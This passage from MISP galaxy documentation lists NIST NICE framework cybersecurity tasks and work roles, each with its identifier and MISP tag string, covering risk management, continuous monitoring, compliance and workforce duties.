The tag is: *misp-galaxy:nice-framework-tasks="Develop system security control assessment plans - T1922"*

Approve system security control assessment plans - T1923

Approve system security control assessment plans

The tag is: *misp-galaxy:nice-framework-tasks="Approve system security control assessment plans - T1923"*

Establish system configuration baselines - T1920

Establish system configuration baselines

The tag is: *misp-galaxy:nice-framework-tasks="Establish system configuration baselines - T1920"*

Document changes to planned system control implementations - T1921

Document changes to planned system control implementations

The tag is: *misp-galaxy:nice-framework-tasks="Document changes to planned system control implementations - T1921"*

Implement system security controls - T1919

Implement system security controls

The tag is: *misp-galaxy:nice-framework-tasks="Implement system security controls - T1919"*

Establish security control monitoring strategies - T1917

Establish security control monitoring strategies

The tag is: *misp-galaxy:nice-framework-tasks="Establish security control monitoring strategies - T1917"*

Review and approve System Security Plans (SSPs) - T1918

Review and approve System Security Plans (SSPs)

The tag is: *misp-galaxy:nice-framework-tasks="Review and approve System Security Plans (SSPs) - T1918"*

Identify required system security controls - T1915

Identify required system security controls

The tag is: *misp-galaxy:nice-framework-tasks="Identify required system security controls - T1915"*

Document planned system security control implementations - T1916

Document planned system security control implementations

The tag is: *misp-galaxy:nice-framework-tasks="Document planned system security control implementations - T1916"*

Register systems with organizational program management offices - T1914

Register systems with organizational program management offices

The tag is: *misp-galaxy:nice-framework-tasks="Register systems with organizational program management offices - T1914"*

Determine the security categorization for organizational systems - T1911

Determine the security categorization for organizational systems

The tag is: *misp-galaxy:nice-framework-tasks="Determine the security categorization for organizational systems - T1911"*

Determine system boundaries - T1912

Determine system boundaries

The tag is: *misp-galaxy:nice-framework-tasks="Determine system boundaries - T1912"*

Identify common controls available for inheritance by organizational systems - T1910

Identify common controls available for inheritance by organizational systems

The tag is: *misp-galaxy:nice-framework-tasks="Identify common controls available for inheritance by organizational systems - T1910"*

Determine which business functions a system supports - T1908

Determine which business functions a system supports

The tag is: *misp-galaxy:nice-framework-tasks="Determine which business functions a system supports - T1908"*

Determine system stakeholders - T1909

Determine system stakeholders

The tag is: *misp-galaxy:nice-framework-tasks="Determine system stakeholders - T1909"*

Determine business partner requirements - T1904

Determine business partner requirements

The tag is: *misp-galaxy:nice-framework-tasks="Determine business partner requirements - T1904"*

Determine if risk metrics support continuous monitoring - T1946

Determine if risk metrics support continuous monitoring

The tag is: *misp-galaxy:nice-framework-tasks="Determine if risk metrics support continuous monitoring - T1946"*

Determine if continuous monitoring data provides situational awareness of risk levels - T1947

Determine if continuous monitoring data provides situational awareness of risk levels

The tag is: *misp-galaxy:nice-framework-tasks="Determine if continuous monitoring data provides situational awareness of risk levels - T1947"*

Provide training and resources to continuous monitoring staff - T1944

Provide training and resources to continuous monitoring staff

The tag is: *misp-galaxy:nice-framework-tasks="Provide training and resources to continuous monitoring staff - T1944"*

Prepare continuous monitoring reports - T1945

Prepare continuous monitoring reports

The tag is: *misp-galaxy:nice-framework-tasks="Prepare continuous monitoring reports - T1945"*

Integrate a continuous monitoring program into organizational security governance structures and policies - T1942

Integrate a continuous monitoring program into organizational security governance structures and policies

The tag is: *misp-galaxy:nice-framework-tasks="Integrate a continuous monitoring program into organizational security governance structures and policies - T1942"*

Make cybersecurity investment decisions to address persistent issues - T1943

Make cybersecurity investment decisions to address persistent issues

The tag is: *misp-galaxy:nice-framework-tasks="Make cybersecurity investment decisions to address persistent issues - T1943"*

Form continuous monitoring working groups - T1940

Form continuous monitoring working groups

The tag is: *misp-galaxy:nice-framework-tasks="Form continuous monitoring working groups - T1940"*

Establish continous monitoring scoring and grading metrics - T1941

Establish continous monitoring scoring and grading metrics

The tag is: *misp-galaxy:nice-framework-tasks="Establish continous monitoring scoring and grading metrics - T1941"*

Profile system administrators and their activities - T1786

Profile system administrators and their activities

The tag is: *misp-galaxy:nice-framework-tasks="Profile system administrators and their activities - T1786"*

Recommend new or revised security, resilience, and dependability measures - T1303

Recommend new or revised security, resilience, and dependability measures

The tag is: *misp-galaxy:nice-framework-tasks="Recommend new or revised security, resilience, and dependability measures - T1303"*

Prepare operational assessment reports - T1708

Prepare operational assessment reports

The tag is: *misp-galaxy:nice-framework-tasks="Prepare operational assessment reports - T1708"*

Intergrate continuous monitoring results in ongoing authorizations - T1957

Intergrate continuous monitoring results in ongoing authorizations

The tag is: *misp-galaxy:nice-framework-tasks="Intergrate continuous monitoring results in ongoing authorizations - T1957"*

Establish access control processes for continuous monitoring tools and technologies - T1958

Establish access control processes for continuous monitoring tools and technologies

The tag is: *misp-galaxy:nice-framework-tasks="Establish access control processes for continuous monitoring tools and technologies - T1958"*

Establish automated control assessment reporting requirements - T1955

Establish automated control assessment reporting requirements

The tag is: *misp-galaxy:nice-framework-tasks="Establish automated control assessment reporting requirements - T1955"*

Conduct continuous monitoring data assessments - T1956

Conduct continuous monitoring data assessments

The tag is: *misp-galaxy:nice-framework-tasks="Conduct continuous monitoring data assessments - T1956"*

Establish continuous monitoring reporting requirements - T1953

Establish continuous monitoring reporting requirements

The tag is: *misp-galaxy:nice-framework-tasks="Establish continuous monitoring reporting requirements - T1953"*

Perform continuous monitoring - T1954

Perform continuous monitoring

The tag is: *misp-galaxy:nice-framework-tasks="Perform continuous monitoring - T1954"*

Establish continuous monitoring communication processes - T1951

Establish continuous monitoring communication processes

The tag is: *misp-galaxy:nice-framework-tasks="Establish continuous monitoring communication processes - T1951"*

Identify reporting requirements that are fulfilled by the continous monitoring program - T1952

Identify reporting requirements that are fulfilled by the continous monitoring program

The tag is: *misp-galaxy:nice-framework-tasks="Identify reporting requirements that are fulfilled by the continous monitoring program - T1952"*

Define unacceptable risk threshold triggers for continuous monitoring data - T1948

Define unacceptable risk threshold triggers for continuous monitoring data

The tag is: *misp-galaxy:nice-framework-tasks="Define unacceptable risk threshold triggers for continuous monitoring data - T1948"*

Establish system-level reporting categories - T1949

Establish system-level reporting categories

The tag is: *misp-galaxy:nice-framework-tasks="Establish system-level reporting categories - T1949"*

Notify appropriate personnel of imminent of imminent hostile intentions or activities - T1984

Notify appropriate personnel of imminent of imminent hostile intentions or activities

The tag is: *misp-galaxy:nice-framework-tasks="Notify appropriate personnel of imminent of imminent hostile intentions or activities - T1984"*

Document security, resilience, and dependability requirements - T1166

Document security, resilience, and dependability requirements

The tag is: *misp-galaxy:nice-framework-tasks="Document security, resilience, and dependability requirements - T1166"*

Develop risk, compliance, and assurance specifications - T1165

Develop risk, compliance, and assurance specifications

The tag is: *misp-galaxy:nice-framework-tasks="Develop risk, compliance, and assurance specifications - T1165"*

Recommend courses of action or countermeasures to mitigate risks - T2002

Recommend courses of action or countermeasures to mitigate risks

The tag is: *misp-galaxy:nice-framework-tasks="Recommend courses of action or countermeasures to mitigate risks - T2002"*

Perform cybersecurity reviews - T2000

Perform cybersecurity reviews

The tag is: *misp-galaxy:nice-framework-tasks="Perform cybersecurity reviews - T2000"*

Document preliminary or residual security risks for system operation - T1170

Document preliminary or residual security risks for system operation

The tag is: *misp-galaxy:nice-framework-tasks="Document preliminary or residual security risks for system operation - T1170"*

Identify anomalous activity - T1972

Identify anomalous activity

The tag is: *misp-galaxy:nice-framework-tasks="Identify anomalous activity - T1972"*

Conduct import/export reviews for acquiring systems and software - T0412

Conduct import/export reviews for acquiring systems and software

The tag is: *misp-galaxy:nice-framework-tasks="Conduct import/export reviews for acquiring systems and software - T0412"*

Apply standards to identify safety risk and protect cyber-physical functions - T1011

Apply standards to identify safety risk and protect cyber-physical functions

The tag is: *misp-galaxy:nice-framework-tasks="Apply standards to identify safety risk and protect cyber-physical functions - T1011"*

Develop risk, compliance, and assurance monitoring strategies - T1154

Develop risk, compliance, and assurance monitoring strategies

The tag is: *misp-galaxy:nice-framework-tasks="Develop risk, compliance, and assurance monitoring strategies - T1154"*

Develop risk, compliance, and assurance measurement strategies - T1155

Develop risk, compliance, and assurance measurement strategies

The tag is: *misp-galaxy:nice-framework-tasks="Develop risk, compliance, and assurance measurement strategies - T1155"*

Advise stakeholders on the development of continuity of operations plans - T1291

Advise stakeholders on the development of continuity of operations plans

The tag is: *misp-galaxy:nice-framework-tasks="Advise stakeholders on the development of continuity of operations plans - T1291"*

Determine if procurement activities sufficiently address supply chain risks - T1344

Determine if procurement activities sufficiently address supply chain risks

The tag is: *misp-galaxy:nice-framework-tasks="Determine if procurement activities sufficiently address supply chain risks - T1344"*

Recommend improvements to procurement activities to address cybersecurity requirements - T1345

Recommend improvements to procurement activities to address cybersecurity requirements

The tag is: *misp-galaxy:nice-framework-tasks="Recommend improvements to procurement activities to address cybersecurity requirements - T1345"*

Determine if acquisitions, procurement, and outsourcing efforts address cybersecurity requirements - T1369

Determine if acquisitions, procurement, and outsourcing efforts address cybersecurity requirements

The tag is: *misp-galaxy:nice-framework-tasks="Determine if acquisitions, procurement, and outsourcing efforts address cybersecurity requirements - T1369"*

Develop supply chain, system, network, and operational security contract language - T1399

Develop supply chain, system, network, and operational security contract language

The tag is: *misp-galaxy:nice-framework-tasks="Develop supply chain, system, network, and operational security contract language - T1399"*

Determine if technology services are delivered successfully - T1435

Determine if technology services are delivered successfully

The tag is: *misp-galaxy:nice-framework-tasks="Determine if technology services are delivered successfully - T1435"*

Manage customer services - T1448

Manage customer services

The tag is: *misp-galaxy:nice-framework-tasks="Manage customer services - T1448"*

Define service-level agreements (SLAs) - T1465

Define service-level agreements (SLAs)

The tag is: *misp-galaxy:nice-framework-tasks="Define service-level agreements (SLAs) - T1465"*

Gather customer satisfaction and service performance feedback - T1472

Gather customer satisfaction and service performance feedback

The tag is: *misp-galaxy:nice-framework-tasks="Gather customer satisfaction and service performance feedback - T1472"*

Examine service performance reports for issues and variances - T1480

Examine service performance reports for issues and variances

The tag is: *misp-galaxy:nice-framework-tasks="Examine service performance reports for issues and variances - T1480"*

Initiate corrective actions to service performance issues and variances - T1481

Initiate corrective actions to service performance issues and variances

The tag is: *misp-galaxy:nice-framework-tasks="Initiate corrective actions to service performance issues and variances - T1481"*

Determine supply chain cybersecurity requirements - T1497

Determine supply chain cybersecurity requirements

The tag is: *misp-galaxy:nice-framework-tasks="Determine supply chain cybersecurity requirements - T1497"*

Advise stakeholders on enterprise cybersecurity risk management - T1601

Advise stakeholders on enterprise cybersecurity risk management

The tag is: *misp-galaxy:nice-framework-tasks="Advise stakeholders on enterprise cybersecurity risk management - T1601"*

Advise stakeholders on supply chain risk management - T1602

Advise stakeholders on supply chain risk management

The tag is: *misp-galaxy:nice-framework-tasks="Advise stakeholders on supply chain risk management - T1602"*

Prepare supply chain security reports - T1621

Prepare supply chain security reports

The tag is: *misp-galaxy:nice-framework-tasks="Prepare supply chain security reports - T1621"*

Prepare risk management reports - T1622

Prepare risk management reports

The tag is: *misp-galaxy:nice-framework-tasks="Prepare risk management reports - T1622"*

Develop strategic plans - T1145

Develop strategic plans

The tag is: *misp-galaxy:nice-framework-tasks="Develop strategic plans - T1145"*

Maintain strategic plans - T1146

Maintain strategic plans

The tag is: *misp-galaxy:nice-framework-tasks="Maintain strategic plans - T1146"*

Disseminate incident and other Computer Network Defense (CND) information - T1221

Disseminate incident and other Computer Network Defense (CND) information

The tag is: *misp-galaxy:nice-framework-tasks="Disseminate incident and other Computer Network Defense (CND) information - T1221"*

Align cybersecurity priorities with organizational security strategy - T1226

Align cybersecurity priorities with organizational security strategy

The tag is: *misp-galaxy:nice-framework-tasks="Align cybersecurity priorities with organizational security strategy - T1226"*

Develop Computer Network Defense (CND) guidance for organizational stakeholders - T1234

Develop Computer Network Defense (CND) guidance for organizational stakeholders

The tag is: *misp-galaxy:nice-framework-tasks="Develop Computer Network Defense (CND) guidance for organizational stakeholders - T1234"*

Determine the effectiveness of enterprise cybersecurity safeguards - T1238

Determine the effectiveness of enterprise cybersecurity safeguards

The tag is: *misp-galaxy:nice-framework-tasks="Determine the effectiveness of enterprise cybersecurity safeguards - T1238"*

Develop cybersecurity policy recommendations - T1307

Develop cybersecurity policy recommendations

The tag is: *misp-galaxy:nice-framework-tasks="Develop cybersecurity policy recommendations - T1307"*

Coordinate cybersecurity policy review and approval processes - T1308

Coordinate cybersecurity policy review and approval processes

The tag is: *misp-galaxy:nice-framework-tasks="Coordinate cybersecurity policy review and approval processes - T1308"*

Oversee policy standards and implementation strategy development - T1342

Oversee policy standards and implementation strategy development

The tag is: *misp-galaxy:nice-framework-tasks="Oversee policy standards and implementation strategy development - T1342"*

Determine if vulnerability remediation plans are in place - T1355

Determine if vulnerability remediation plans are in place

The tag is: *misp-galaxy:nice-framework-tasks="Determine if vulnerability remediation plans are in place - T1355"*

Develop vulnerability remediation plans - T1356

Develop vulnerability remediation plans

The tag is: *misp-galaxy:nice-framework-tasks="Develop vulnerability remediation plans - T1356"*

Develop critical infrastructure protection policies and procedures - T1376

Develop critical infrastructure protection policies and procedures

The tag is: *misp-galaxy:nice-framework-tasks="Develop critical infrastructure protection policies and procedures - T1376"*

Implement critical infrastructure protection policies and procedures - T1377

Implement critical infrastructure protection policies and procedures

The tag is: *misp-galaxy:nice-framework-tasks="Implement critical infrastructure protection policies and procedures - T1377"*

Establish cybersecurity risk assessment processes - T1862

Establish cybersecurity risk assessment processes

The tag is: *misp-galaxy:nice-framework-tasks="Establish cybersecurity risk assessment processes - T1862"*

Establish a cybersecurity risk management program - T1906

Establish a cybersecurity risk management program

The tag is: *misp-galaxy:nice-framework-tasks="Establish a cybersecurity risk management program - T1906"*

Manage Accreditation Packages (e.g., ISO/IEC 15026-2) - T0495

Manage Accreditation Packages (e.g., ISO/IEC 15026-2)

The tag is: *misp-galaxy:nice-framework-tasks="Manage Accreditation Packages (e.g., ISO/IEC 15026-2) - T0495"*

Approve accreditation packages - T1232

Approve accreditation packages

The tag is: *misp-galaxy:nice-framework-tasks="Approve accreditation packages - T1232"*

Plan security authorization reviews for system and network installations - T1270

Plan security authorization reviews for system and network installations

The tag is: *misp-galaxy:nice-framework-tasks="Plan security authorization reviews for system and network installations - T1270"*

Conduct security authorization reviews for system and network installations - T1271

Conduct security authorization reviews for system and network installations

The tag is: *misp-galaxy:nice-framework-tasks="Conduct security authorization reviews for system and network installations - T1271"*

Develop security assurance cases for system and network installations - T1272

Develop security assurance cases for system and network installations

The tag is: *misp-galaxy:nice-framework-tasks="Develop security assurance cases for system and network installations - T1272"*

Determine if authorization and assurance documents identify an acceptable level of risk for software applications, systems, and networks - T1305

Determine if authorization and assurance documents identify an acceptable level of risk for software applications, systems, and networks

The tag is: *misp-galaxy:nice-framework-tasks="Determine if authorization and assurance documents identify an acceptable level of risk for software applications, systems, and networks - T1305"*

Verify implementation of software, network, and system cybersecurity postures - T1328

Verify implementation of software, network, and system cybersecurity postures

The tag is: *misp-galaxy:nice-framework-tasks="Verify implementation of software, network, and system cybersecurity postures - T1328"*

Document software, network, and system deviations from implemented security postures - T1329

Document software, network, and system deviations from implemented security postures

The tag is: *misp-galaxy:nice-framework-tasks="Document software, network, and system deviations from implemented security postures - T1329"*

Recommend required actions to correct software, network, and system deviations from implemented security postures - T1330

Recommend required actions to correct software, network, and system deviations from implemented security postures

The tag is: *misp-galaxy:nice-framework-tasks="Recommend required actions to correct software, network, and system deviations from implemented security postures - T1330"*

Develop cybersecurity compliance processes for external services - T1339

Develop cybersecurity compliance processes for external services

The tag is: *misp-galaxy:nice-framework-tasks="Develop cybersecurity compliance processes for external services - T1339"*

Develop cybersecurity audit processes for external services - T1340

Develop cybersecurity audit processes for external services

The tag is: *misp-galaxy:nice-framework-tasks="Develop cybersecurity audit processes for external services - T1340"*

Provide cybersecurity guidance to organizational risk governance processes - T1343

Provide cybersecurity guidance to organizational risk governance processes

The tag is: *misp-galaxy:nice-framework-tasks="Provide cybersecurity guidance to organizational risk governance processes - T1343"*

Support cybersecurity compliance activities - T1368

Support cybersecurity compliance activities

The tag is: *misp-galaxy:nice-framework-tasks="Support cybersecurity compliance activities - T1368"*

Monitor changes to a system and its environment of operation - T0960

Monitor changes to a system and its environment of operation

The tag is: *misp-galaxy:nice-framework-tasks="Monitor changes to a system and its environment of operation - T0960"*

Identify stakeholder assets that require protection - T0934

Identify stakeholder assets that require protection

The tag is: *misp-galaxy:nice-framework-tasks="Identify stakeholder assets that require protection - T0934"*

Develop organizational training programs - T1420

Develop organizational training programs

The tag is: *misp-galaxy:nice-framework-tasks="Develop organizational training programs - T1420"*

Identify the types of information to be processed, stored, or transmitted by a system - T0942

Identify the types of information to be processed, stored, or transmitted by a system

The tag is: *misp-galaxy:nice-framework-tasks="Identify the types of information to be processed, stored, or transmitted by a system - T0942"*

Recommend commercial, government off-the-shelf, or open source products for use within a system - T1443

Recommend commercial, government off-the-shelf, or open source products for use within a system

The tag is: *misp-galaxy:nice-framework-tasks="Recommend commercial, government off-the-shelf, or open source products for use within a system - T1443"*

Determine if products comply with cybersecurity requirements - T1444

Determine if products comply with cybersecurity requirements

The tag is: *misp-galaxy:nice-framework-tasks="Determine if products comply with cybersecurity requirements - T1444"*

Determine the validity of findings - T1441

Determine the validity of findings

The tag is: *misp-galaxy:nice-framework-tasks="Determine the validity of findings - T1441"*

Design system administration and management functionality for privileged access users - T1452

Design system administration and management functionality for privileged access users

The tag is: *misp-galaxy:nice-framework-tasks="Design system administration and management functionality for privileged access users - T1452"*

Develop system administration and management functionality for privileged access users - T1453

Develop system administration and management functionality for privileged access users

The tag is: *misp-galaxy:nice-framework-tasks="Develop system administration and management functionality for privileged access users - T1453"*

Create risk-driven systems maintenance and updates processes - T1473

Create risk-driven systems maintenance and updates processes

The tag is: *misp-galaxy:nice-framework-tasks="Create risk-driven systems maintenance and updates*

processes - T1473"

Determine the placement of a system within the enterprise architecture - T0937

Determine the placement of a system within the enterprise architecture

The tag is: *misp-galaxy:nice-framework-tasks="Determine the placement of a system within the enterprise architecture - T0937"*

Maintain information systems assurance and accreditation materials - T0141

Maintain information systems assurance and accreditation materials

The tag is: *misp-galaxy:nice-framework-tasks="Maintain information systems assurance and accreditation materials - T0141"*

Define operating level agreements (OLAs) - T1474

Define operating level agreements (OLAs)

The tag is: *misp-galaxy:nice-framework-tasks="Define operating level agreements (OLAs) - T1474"*

Determine if cybersecurity requirements included in contracts are delivered - T1498

Determine if cybersecurity requirements included in contracts are delivered

The tag is: *misp-galaxy:nice-framework-tasks="Determine if cybersecurity requirements included in contracts are delivered - T1498"*

Advise senior leadership and authorizing official of changes affecting the organization’s cybersecurity posture - T1061

Advise senior leadership and authorizing official of changes affecting the organization’s cybersecurity posture

The tag is: *misp-galaxy:nice-framework-tasks="Advise senior leadership and authorizing official of changes affecting the organization’s cybersecurity posture - T1061"*

Collect and maintain system cybersecurity report data - T1086

Collect and maintain system cybersecurity report data

The tag is: *misp-galaxy:nice-framework-tasks="Collect and maintain system cybersecurity report data - T1086"*

Create system cybersecurity reports - T1087

Create system cybersecurity reports

The tag is: *misp-galaxy:nice-framework-tasks="Create system cybersecurity reports - T1087"*

Determine if cybersecurity inspections, tests, and reviews are coordinated for the network environment - T1180

Determine if cybersecurity inspections, tests, and reviews are coordinated for the network environment

The tag is: *misp-galaxy:nice-framework-tasks="Determine if cybersecurity inspections, tests, and reviews are coordinated for the network environment - T1180"*

Determine if cybersecurity requirements are integrated into continuity planning - T1181

Determine if cybersecurity requirements are integrated into continuity planning

The tag is: *misp-galaxy:nice-framework-tasks="Determine if cybersecurity requirements are integrated into continuity planning - T1181"*

Determine if security engineering is used when acquiring or developing protection and detection capabilities - T1182

Determine if security engineering is used when acquiring or developing protection and detection capabilities

The tag is: *misp-galaxy:nice-framework-tasks="Determine if security engineering is used when acquiring or developing protection and detection capabilities - T1182"*

Determine if protection and detection capabilities are consistent with organization-level cybersecurity architecture - T1183

Determine if protection and detection capabilities are consistent with organization-level cybersecurity architecture

The tag is: *misp-galaxy:nice-framework-tasks="Determine if protection and detection capabilities are consistent with organization-level cybersecurity architecture - T1183"*

Determine if baseline security safeguards are appropriately installed - T1188

Determine if baseline security safeguards are appropriately installed

The tag is: *misp-galaxy:nice-framework-tasks="Determine if baseline security safeguards are appropriately installed - T1188"*

Determine implications of new and upgraded technologies to the cybersecurity program - T1201

Determine implications of new and upgraded technologies to the cybersecurity program

The tag is: *misp-galaxy:nice-framework-tasks="Determine implications of new and upgraded technologies to the cybersecurity program - T1201"*

Monitor cybersecurity data sources - T1233

Monitor cybersecurity data sources

The tag is: *misp-galaxy:nice-framework-tasks="Monitor cybersecurity data sources - T1233"*

Manage threat and target analysis - T1235

Manage threat and target analysis

The tag is: *misp-galaxy:nice-framework-tasks="Manage threat and target analysis - T1235"*

Manage the production of threat information - T1236

Manage the production of threat information

The tag is: *misp-galaxy:nice-framework-tasks="Manage the production of threat information - T1236"*

Oversee the cybersecurity training and awareness program - T1245

Oversee the cybersecurity training and awareness program

The tag is: *misp-galaxy:nice-framework-tasks="Oversee the cybersecurity training and awareness program - T1245"*

Establish Security Assessment and Authorization processes - T1246

Establish Security Assessment and Authorization processes

The tag is: *misp-galaxy:nice-framework-tasks="Establish Security Assessment and Authorization processes - T1246"*

Develop computer environment cybersecurity plans and requirements - T1247

Develop computer environment cybersecurity plans and requirements

The tag is: *misp-galaxy:nice-framework-tasks="Develop computer environment cybersecurity plans and requirements - T1247"*

Develop standard operating procedures for secure network system operations - T1284

Develop standard operating procedures for secure network system operations

The tag is: *misp-galaxy:nice-framework-tasks="Develop standard operating procedures for secure network system operations - T1284"*

Distribute standard operating procedures - T1285

Distribute standard operating procedures

The tag is: *misp-galaxy:nice-framework-tasks="Distribute standard operating procedures - T1285"*

Maintain standard operating procedures - T1286

Maintain standard operating procedures

The tag is: *misp-galaxy:nice-framework-tasks="Maintain standard operating procedures - T1286"*

Provide cybersecurity awareness and training - T1295

Provide cybersecurity awareness and training

The tag is: *misp-galaxy:nice-framework-tasks="Provide cybersecurity awareness and training - T1295"*

Communicate situational awareness information to leadership - T1298

Communicate situational awareness information to leadership

The tag is: *misp-galaxy:nice-framework-tasks="Communicate situational awareness information to leadership - T1298"*

Recommend organizational cybersecurity resource allocations - T1304

Recommend organizational cybersecurity resource allocations

The tag is: *misp-galaxy:nice-framework-tasks="Recommend organizational cybersecurity resource allocations - T1304"*

Determine if appropriate threat mitigation actions have been taken - T1317

Determine if appropriate threat mitigation actions have been taken

The tag is: *misp-galaxy:nice-framework-tasks="Determine if appropriate threat mitigation actions have been taken - T1317"*

Manage computing environment system operations - T1321

Manage computing environment system operations

The tag is: *misp-galaxy:nice-framework-tasks="Manage computing environment system operations - T1321"*

Determine organizational compliance - T1373

Determine organizational compliance

The tag is: *misp-galaxy:nice-framework-tasks="Determine organizational compliance - T1373"*

Forecast ongoing service demands - T1374

Forecast ongoing service demands

The tag is: *misp-galaxy:nice-framework-tasks="Forecast ongoing service demands - T1374"*

Conduct periodic reviews of security assumptions - T1375

Conduct periodic reviews of security assumptions

The tag is: *misp-galaxy:nice-framework-tasks="Conduct periodic reviews of security assumptions - T1375"*

NICE Work Roles

Work roles based on the NIST NICE framework.

NICE Work Roles is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

NIST - Jean-Louis Huynen

Responsible for managing a portfolio of technology investments that align with the overall needs of mission and enterprise priorities. - OG-WRL-015

Responsible for managing a portfolio of technology investments that align with the overall needs of mission and enterprise priorities.

The tag is: *misp-galaxy:nice-framework-work_roles="Responsible for managing a portfolio of technology investments that align with the overall needs of mission and enterprise priorities. - OG-WRL-015"*

Responsible for overseeing and directly managing technology projects. Ensures cybersecurity is built into projects to protect the organization’s criti - OG-WRL-011

Responsible for overseeing and directly managing technology projects. Ensures cybersecurity is built into projects to protect the organization’s critical infrastructure and assets, reduce risk, and

meet organizational goals. Tracks and communicates project status and demonstrates project value to the organization.

The tag is: *misp-galaxy:nice-framework-work_roles="Responsible for overseeing and directly managing technology projects. Ensures cybersecurity is built into projects to protect the organization's criti - OG-WRL-011"*

Responsible for managing the cybersecurity of a program, organization, system, or enclave. - OG-WRL-014

Responsible for managing the cybersecurity of a program, organization, system, or enclave.

The tag is: *misp-galaxy:nice-framework-work_roles="Responsible for managing the cybersecurity of a program, organization, system, or enclave. - OG-WRL-014"*

Responsible for conducting independent comprehensive assessments of management, operational, and technical security controls and control enhancements - OG-WRL-012

Responsible for conducting independent comprehensive assessments of management, operational, and technical security controls and control enhancements employed within or inherited by a system to determine their overall effectiveness.

The tag is: *misp-galaxy:nice-framework-work_roles="Responsible for conducting independent comprehensive assessments of management, operational, and technical security controls and control enhancements - OG-WRL-012"*

Responsible for conducting evaluations of technology programs or their individual components to determine compliance with published standards. - OG-WRL-016

Responsible for conducting evaluations of technology programs or their individual components to determine compliance with published standards.

The tag is: *misp-galaxy:nice-framework-work_roles="Responsible for conducting evaluations of technology programs or their individual components to determine compliance with published standards. - OG-WRL-016"*

Responsible for operating an information system at an acceptable level of risk to organizational operations, organizational assets, individuals, other - OG-WRL-013

Responsible for operating an information system at an acceptable level of risk to organizational operations, organizational assets, individuals, other organizations, and the nation.

The tag is: *misp-galaxy:nice-framework-work_roles="Responsible for operating an information system at an acceptable level of risk to organizational operations, organizational assets, individuals, other - OG-WRL-013"*

Responsible for developing and overseeing an organization’s privacy compliance program and staff, including establishing and managing privacy-related - OG-WRL-008

Responsible for developing and overseeing an organization’s privacy compliance program and staff, including establishing and managing privacy-related governance, policy, and incident response needs.

The tag is: *misp-galaxy:nice-framework-work_roles="Responsible for developing and overseeing an organization’s privacy compliance program and staff, including establishing and managing privacy-related - OG-WRL-008"*

Responsible for leading, coordinating, and the overall success of a defined program. Includes communicating about the program and ensuring alignment w - OG-WRL-010

Responsible for leading, coordinating, and the overall success of a defined program. Includes communicating about the program and ensuring alignment with agency or organizational priorities.

The tag is: *misp-galaxy:nice-framework-work_roles="Responsible for leading, coordinating, and the overall success of a defined program. Includes communicating about the program and ensuring alignment w - OG-WRL-010"*

Responsible for establishing vision and direction for an organization’s cybersecurity operations and resources and their impact on digital and physica - OG-WRL-007

Responsible for establishing vision and direction for an organization’s cybersecurity operations and resources and their impact on digital and physical spaces. Possesses authority to make and execute decisions that impact an organization broadly, including policy approval and stakeholder engagement.

The tag is: *misp-galaxy:nice-framework-work_roles="Responsible for establishing vision and direction for an organization’s cybersecurity operations and resources and their impact on digital and physica - OG-WRL-007"*

Responsible for analyzing data and information from one or multiple sources to conduct preparation of the operational environment, respond to requests - CI-WRL-001

Responsible for analyzing data and information from one or multiple sources to conduct preparation of the operational environment, respond to requests for information, and submit intelligence collection and production requirements in support of intelligence planning and operations.

The tag is: *misp-galaxy:nice-framework-work_roles="Responsible for analyzing data and information from one or multiple sources to conduct preparation of the operational environment, respond to requests - CI-WRL-001"*

Responsible for managing the Communications Security (COMSEC) resources of an organization. - OG-WRL-001

Responsible for managing the Communications Security (COMSEC) resources of an organization.

The tag is: *misp-galaxy:nice-framework-work_roles="Responsible for managing the Communications Security (COMSEC) resources of an organization. - OG-WRL-001"*

Responsible for providing cybersecurity legal advice and recommendations, including monitoring related legislation and regulations. - OG-WRL-006

Responsible for providing cybersecurity legal advice and recommendations, including monitoring related legislation and regulations.

The tag is: *misp-galaxy:nice-framework-work_roles="Responsible for providing cybersecurity legal advice and recommendations, including monitoring related legislation and regulations. - OG-WRL-006"*

Responsible for developing and conducting cybersecurity awareness, training, or education. - OG-WRL-005

Responsible for developing and conducting cybersecurity awareness, training, or education.

The tag is: *misp-galaxy:nice-framework-work_roles="Responsible for developing and conducting cybersecurity awareness, training, or education. - OG-WRL-005"*

Responsible for planning, estimating costs, budgeting, developing, implementing, and managing product support strategies in order to field and maintai - OG-WRL-009

Responsible for planning, estimating costs, budgeting, developing, implementing, and managing product support strategies in order to field and maintain the readiness and operational capability of systems and components.

The tag is: *misp-galaxy:nice-framework-work_roles="Responsible for planning, estimating costs, budgeting, developing, implementing, and managing product support strategies in order to field and maintai - OG-WRL-009"*

Responsible for developing intelligence plans to satisfy cyber operation requirements. Identifies, validates, and levies requirements for intelligence - CI-WRL-004

Responsible for developing intelligence plans to satisfy cyber operation requirements. Identifies, validates, and levies requirements for intelligence collection and analysis. Participates in targeting selection, validation, synchronization, and execution of cyber actions. Synchronizes intelligence activities to support organization objectives in cyberspace.

The tag is: *misp-galaxy:nice-framework-work_roles="Responsible for developing intelligence plans to satisfy cyber operation requirements. Identifies, validates, and levies requirements for intelligence - CI-WRL-004"*

Responsible for applying language and cultural expertise with target, threat, and technical knowledge to process, analyze, and disseminate intelligenc - CI-WRL-005

Responsible for applying language and cultural expertise with target, threat, and technical knowledge to process, analyze, and disseminate intelligence information derived from lanugage, voice, and/or graphic materials. Creates and maintains language-specific databases and working aids to support cyber action execution and ensure critical knowledge sharing. Provides subject matter experise in foreign language-intensive or interdisciplinary projects.

The tag is: *misp-galaxy:nice-framework-work_roles="Responsible for applying language and cultural expertise with target, threat, and technical knowledge to process, analyze, and disseminate intelligenc - CI-WRL-005"*

Responsible for developing, planning, coordinating, and evaluating cybersecurity awareness, training, or education content, methods, and techniques ba - OG-WRL-004

Responsible for developing, planning, coordinating, and evaluating cybersecurity awareness, training, or education content, methods, and techniques based on instructional needs and requirements.

The tag is: *misp-galaxy:nice-framework-work_roles="Responsible for developing, planning, coordinating, and evaluating cybersecurity awareness, training, or education content, methods, and techniques ba - OG-WRL-004"*

Responsible for developing cybersecurity workforce plans, assessments, strategies, and guidance, including cybersecurity-related staff training, educa - OG-WRL-003

Responsible for developing cybersecurity workforce plans, assessments, strategies, and guidance, including cybersecurity-related staff training, education, and hiring processes. Makes adjustments in response to or in anticipation of changes to cybersecurity-related policy, technology, and staffing needs and requirements.Authors mandated workforce planning strategies to maintain compliance with legislation, regulation, and policy.

The tag is: *misp-galaxy:nice-framework-work_roles="Responsible for developing cybersecurity workforce plans, assessments, strategies, and guidance, including cybersecurity-related staff training, educa - OG-WRL-003"*

